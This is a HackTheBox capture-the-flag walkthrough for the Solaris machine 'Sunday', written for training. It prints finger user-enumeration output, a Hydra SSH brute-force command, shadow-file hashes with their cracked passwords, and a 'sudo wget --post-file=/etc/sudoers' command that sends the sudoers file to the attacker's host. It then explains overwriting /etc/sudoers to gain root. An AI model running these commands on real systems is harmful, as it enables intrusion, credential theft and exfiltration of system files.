Hack The Box

HackTheBox “Sunday” Walkthrough

Sunday, an easy-level Solaris OS machine on HackTheBox, involves performing user enumeration on the Finger service to discover the sunny user. Afterward, a brute-force attack using Hydra is employed to authenticate…

Sunday, an easy-level Solaris OS machine on HackTheBox, involves performing user enumeration on the Finger service to discover the sunny user. Afterward, a brute-force attack using Hydra is employed to authenticate through SSH. By cracking a user hash obtained from a backup folder, access is escalated to the sammy user. Finally, privilege escalation to root is achieved by exploiting the SUID permission set on Wget.

HackTheBox “Sunday” Walkthrough, figure 1

Let’s get started! 🚀

Recon & Enumeration

Let’s use nmapAutomator to full scan for open ports and services:

HackTheBox “Sunday” Walkthrough, figure 2

The nmapAutomator Full scan reveals the presence of the Finger service, a protocol used for retrieving user information on remote hosts or network devices. Additionally, port 22022 is detected as open, indicating the utilization of SSH. To proceed, we are executing the finger-user-enum Perl script, utilizing the “names.txt” wordlist from SecLists.

HackTheBox “Sunday” Walkthrough, figure 3

And below is the resulted users enumerated.

┌──(kali㉿kali)-[~/Desktop]└─$ ./finger-user-enum.pl -t 10.10.10.76 -U /usr/share/seclists/Usernames/Names/names.txtStarting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum ) ----------------------------------------------------------|                   Scan Information                       | ----------------------------------------------------------Worker Processes ......... 5Usernames file ........... /usr/share/seclists/Usernames/Names/names.txtTarget count ............. 1Username count ........... 10177Target TCP port .......... 79Query timeout ............ 5 secsRelay Server ............. Not used######## Scan started at Fri Jul 14 17:05:30 2023 #########access@10.10.10.76: access No Access User                     < .  .  .  . >..nobody4  SunOS 4.x NFS Anonym               < .  .  .  . >..admin@10.10.10.76: Login       Name               TTY         Idle    When    Where..adm      Admin                              < .  .  .  . >..dladm    Datalink Admin                     < .  .  .  . >..netadm   Network Admin                      < .  .  .  . >..netcfg   Network Configuratio               < .  .  .  . >..dhcpserv DHCP Configuration A               < .  .  .  . >..ikeuser  IKE Admin                          < .  .  .  . >..lp       Line Printer Admin                 < .  .  .  . >..anne marie@10.10.10.76: Login       Name               TTY         Idle    When    Where..anne                  ???..marie                 ???..bin@10.10.10.76: bin             ???                         < .  .  .  . >..dee dee@10.10.10.76: Login       Name               TTY         Idle    When    Where..dee                   ???..dee                   ???..ike@10.10.10.76: ikeuser  IKE Admin                          < .  .  .  . >..jo ann@10.10.10.76: Login       Name               TTY         Idle    When    Where..ann                   ???..jo                    ???..la verne@10.10.10.76: Login       Name               TTY         Idle    When    Where..la                    ???..verne                 ???..line@10.10.10.76: Login       Name               TTY         Idle    When    Where..lp       Line Printer Admin                 < .  .  .  . >..message@10.10.10.76: Login       Name               TTY         Idle    When    Where..smmsp    SendMail Message Sub               < .  .  .  . >..miof mela@10.10.10.76: Login       Name               TTY         Idle    When    Where..mela                  ???..miof                  ???..root@10.10.10.76: root     Super-User            console      <Oct 14, 2022>..sammy@10.10.10.76: sammy           ???            ssh          <Apr 13, 2022> 10.10.14.13         ..sunny@10.10.10.76: sunny           ???            ssh          <Apr 13, 2022> 10.10.14.13         ..sys@10.10.10.76: sys             ???                         < .  .  .  . >..zsa zsa@10.10.10.76: Login       Name               TTY         Idle    When    Where..zsa                   ???..zsa                   ???..######## Scan completed at Fri Jul 14 17:14:49 2023 #########16 results.10177 queries in 559 seconds (18.2 queries / sec)

We will utilize Hydra to conduct a password brute-force attack on the 22022 SSH port on the target. After trying various users, we got from finger-user-enum, we gained the password for the username “sunny.”

hydra -f -s 22022 -l sunny -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt ssh://10.10.10.76

HackTheBox “Sunday” Walkthrough, figure 4

The password for the “sunny” user on the target box is determined to be “sunday.” We can now SSH into the target on port 22022.

HackTheBox “Sunday” Walkthrough, figure 5

A “backup” folder is discovered in the root directory while checking common files and directories.

sunny@sunday:/$ cd backupsunny@sunday:/backup$ ls -lahtotal 28drwxr-xr-x   2 root     root           4 Dec 19  2021 .drwxr-xr-x  25 root     sys           28 Jul 14 00:00 ..-rw-r--r--   1 root     root         319 Dec 19  2021 agent22.backup-rw-r--r--   1 root     root         319 Dec 19  2021 shadow.backupsunny@sunday:/backup$ cat shadow.backupmysql:NP:::::::openldap:*LK*:::::::webservd:*LK*:::::::postgres:NP:::::::svctag:*LK*:6445::::::nobody:*LK*:6445::::::noaccess:*LK*:6445::::::nobody4:*LK*:6445::::::sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

The last two hashes were appended to a text file on our attack box, and John the Ripper was utilized to crack them using rockyou.txt wordlist.

HackTheBox “Sunday” Walkthrough, figure 6

The password for the sammy user is “cooldude!”. We switch to the sammy user and runn sudo -l.

HackTheBox “Sunday” Walkthrough, figure 7

The user has the ability to execute Wget as root which can be exploited by leveraging Wget’s remote file download functionality, allowing us to replace the downloaded file, such as the /etc/sudoers file. This enables executing arbitrary commands as the root user through the compromised accounts of Sammy or Sunny.

Let’s first start a listener on our attack box.

HackTheBox “Sunday” Walkthrough, figure 8

Execute the command below on the target machine.

sudo wget —post-file=/etc/sudoers 10.10.14.8:4343

HackTheBox “Sunday” Walkthrough, figure 9

On our listener.

HackTheBox “Sunday” Walkthrough, figure 10

We get the content of the file /etc/sudoers of the targeted machine.

## sudoers file.#### This file MUST be edited with the 'visudo' command as root.## Failure to use 'visudo' may result in syntax or file permission errors## that prevent sudo from running.#### See the sudoers man page for the details on how to write a sudoers file.###### Host alias specification#### Groups of machines. These may include host names (optionally with wildcards),## IP addresses, network numbers or netgroups.# Host_Alias    WEBSERVERS = www1, www2, www3#### User alias specification#### Groups of users.  These may consist of user names, uids, Unix groups,## or netgroups.# User_Alias    ADMINS = millert, dowdy, mikef#### Cmnd alias specification#### Groups of commands.  Often used to group related commands together.# Cmnd_Alias    PROCESSES = /usr/bin/nice, /bin/kill, /usr/bin/renice, \#                           /usr/bin/pkill, /usr/bin/top# Cmnd_Alias    REBOOT = /sbin/halt, /sbin/reboot, /sbin/poweroff#### Defaults specification#### You may wish to keep some of the following environment variables## when running commands via sudo.#### Locale settings# Defaults env_keep += "LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET"#### Run X applications through sudo; HOME is used to find the## .Xauthority file.  Note that other programs use HOME to find   ## configuration files and this may lead to privilege escalation!# Defaults env_keep += "HOME"#### X11 resource path settings# Defaults env_keep += "XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH"#### Desktop path settings# Defaults env_keep += "QTDIR KDEDIR"#### Allow sudo-run commands to inherit the callers' ConsoleKit session# Defaults env_keep += "XDG_SESSION_COOKIE"#### Uncomment to enable special input methods.  Care should be taken as## this may allow users to subvert the command being run via sudo.# Defaults env_keep += "XMODIFIERS GTK_IM_MODULE QT_IM_MODULE QT_IM_SWITCHER"#### Uncomment to use a hard-coded PATH instead of the user's to find commands# Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"#### Uncomment to send mail if the user does not enter the correct password.# Defaults mail_badpass#### Uncomment to enable logging of a command's output, except for## sudoreplay and reboot.  Use sudoreplay to play back logged sessions.# Defaults log_output# Defaults!/usr/bin/sudoreplay !log_output# Defaults!/usr/local/bin/sudoreplay !log_output# Defaults!REBOOT !log_output#### Runas alias specification###### User privilege specification##root ALL=(ALL) ALL## Uncomment to allow members of group wheel to execute any command# %wheel ALL=(ALL) ALL## Same thing without a password# %wheel ALL=(ALL) NOPASSWD: ALL## Uncomment to allow members of group sudo to execute any command# %sudo ALL=(ALL) ALL## Uncomment to allow any user to run sudo if they know the password## of the user they are running the command as (root by default).# Defaults targetpw  # Ask for the password of the target user# ALL ALL=(ALL) ALL  # WARNING: only use this together with 'Defaults targetpw'## Read drop-in files from /etc/sudoers.d## (the '#' here does not indicate a comment)#includedir /etc/sudoers.dsammy ALL=(root) NOPASSWD: /usr/bin/wgetsunny ALL=(root) NOPASSWD: /root/troll

We will have them on our attack box and edit sammy user to execute all commands with sudo with being prompted by a password and then start an HTTP server on our attack box.

HackTheBox “Sunday” Walkthrough, figure 11

On the target box we download sudoers file with asking wget to output it in the /etc directory.

HackTheBox “Sunday” Walkthrough, figure 12

Sammy should run any command as sudo without being prompted by a password, let’s switch to root.

HackTheBox “Sunday” Walkthrough, figure 13

Cheers.